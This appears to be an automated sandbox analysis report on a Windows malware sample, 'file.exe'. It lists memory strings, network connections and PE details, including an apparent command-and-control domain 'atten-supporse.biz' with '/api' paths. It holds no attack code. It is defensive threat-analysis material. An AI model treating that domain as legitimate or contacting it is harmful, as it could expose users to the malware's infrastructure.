Source: chromecache_109.7.dr, chromecache_122.7.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_109.7.dr, chromecache_122.7.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_130.7.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: file.exe, 00000000.00000003.2636617426.00000000019F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2763620702.00000000019F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2675939948.00000000019F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/
Source: file.exe, 00000000.00000003.2637466375.00000000019F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2636617426.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/&G
Source: file.exe, 00000000.00000003.2714993638.00000000019F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/VD
Source: file.exe, 00000000.00000003.2717612657.0000000001A05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api
Source: file.exe, 00000000.00000003.2636617426.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api9
Source: file.exe, 00000000.00000003.2674099894.00000000019F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2714993638.00000000019F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2674431415.00000000019F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2715177476.00000000019F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2715201429.00000000019FD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2717670111.0000000001A14000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2674453833.00000000019FD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2717612657.0000000001A05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apil
Source: file.exe, 00000000.00000003.2714993638.00000000019F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2715177476.00000000019F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/~DEL
Source: chromecache_130.7.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_130.7.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_109.7.dr, chromecache_122.7.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.2675939948.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696506299400400001.2&ci=1696506299033.
Source: file.exe, 00000000.00000003.2675939948.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696506299400400001.1&ci=1696506299033.12791&cta
Source: file.exe, 00000000.00000003.2597930639.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2598072119.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2597863853.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2597930639.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2598072119.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2597863853.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2597930639.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2598072119.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2597863853.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_109.7.dr, chromecache_122.7.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_109.7.dr, chromecache_122.7.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.2675939948.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000003.2675939948.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2597930639.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2598072119.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2597863853.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2597930639.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2598072119.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2597863853.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2597930639.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2598072119.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2597863853.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_130.7.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_130.7.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_130.7.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_130.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_130.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_130.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_130.7.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_109.7.dr, chromecache_122.7.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_130.7.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_109.7.dr, chromecache_122.7.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_109.7.dr, chromecache_122.7.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_130.7.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_130.7.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.2675939948.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4CbmfQq%2B4pbW4pbWfpbX7ReNxR3UIG8zInwYIFIVs9e
Source: chromecache_130.7.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_109.7.dr, chromecache_122.7.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_109.7.dr, chromecache_122.7.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_109.7.dr, chromecache_122.7.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_109.7.dr, chromecache_122.7.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_109.7.dr, chromecache_122.7.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_122.7.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.2675614263.0000000006276000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2675614263.0000000006276000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_109.7.dr, chromecache_122.7.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_109.7.dr, chromecache_122.7.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_122.7.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.2675939948.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_cd61a4703a8613be887576f2bd084bcc6f4756dccdbe5062
Source: file.exe, 00000000.00000003.2597930639.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2598072119.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2597863853.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2597930639.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2598072119.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2597863853.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.2675939948.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: chromecache_109.7.dr, chromecache_122.7.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.2675881658.0000000006177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000003.2675614263.0000000006276000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.5iSPD7jwkDnW
Source: file.exe, 00000000.00000003.2675614263.0000000006276000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.3UfcDFx2ZSAZ
Source: file.exe, 00000000.00000003.2675614263.0000000006276000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2675614263.0000000006276000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.12:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.12:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.12:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.12:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.12:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.12:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.12:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.12:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.6:443 -> 192.168.2.12:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.12:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.12:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.12:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.12:49831 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FAFF36		0_2_00FAFF36
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B3F8A2		0_2_06B3F8A2

Source: file.exe, 00000000.00000003.2916593574.000000000669A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2919409197.00000000066B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2919208854.00000000066C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2916861641.00000000065FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2922967287.00000000065FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2919303947.00000000065F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2920456455.00000000066D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2919617896.00000000065FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2915324027.000000000669C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2924976743.0000000006715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2917034450.0000000006739000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2972698329.0000000001A0F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2917353920.00000000066A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2916679487.00000000065FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2915085365.00000000065F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2920280395.00000000066DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2916317367.000000000669B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2923216659.00000000065F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2933189683.00000000065FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2925468390.0000000006849000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2926396602.0000000006600000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.3051035006.000000000617A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO vs file.exe
